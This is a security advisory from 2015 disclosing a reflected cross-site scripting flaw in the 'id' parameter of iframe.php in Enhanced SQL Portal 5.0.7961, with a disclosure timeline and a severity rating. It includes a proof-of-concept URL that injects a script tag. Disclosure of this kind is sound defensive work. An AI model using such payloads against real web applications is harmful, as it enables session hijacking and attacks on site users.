Enhanced SQL Portal 5.0.7961 XSS Vulnerability

[apparitionsec@xxxxxxxxx]

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-ENHSQLPORTAL0602.txt



Vendor:
www.eliacom.com
www.eliacom.com/mysql-gui-download.php



Product:
Enhanced SQL Portal 5.0.7961 web based MySQL administration application.



Advisory Information:
================================================
Enhanced SQL Portal 5.0.7961 XSS Vulnerability




Vulnerability Details:
=====================
iframe.php contains an XSS vulnerability



Exploit code(s):
===============


http://localhost/Enhanced_SQL_Portal_5.0.7961_05_06_2015/iframe.php?id="/><script>alert(666)</script>
  


Disclosure Timeline:
=========================================================


Vendor Notification: May 28, 2015
June 2, 2015 : Public Disclosure


Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                                [+] GET

Vulnerable Product:
                                [+] Enhanced SQL Portal 5.0.7961 

Vulnerable Parameter(s):
                                [+] id

Affected Area(s):
                                [+] iframe

===============================================================

(hyp3rlinx)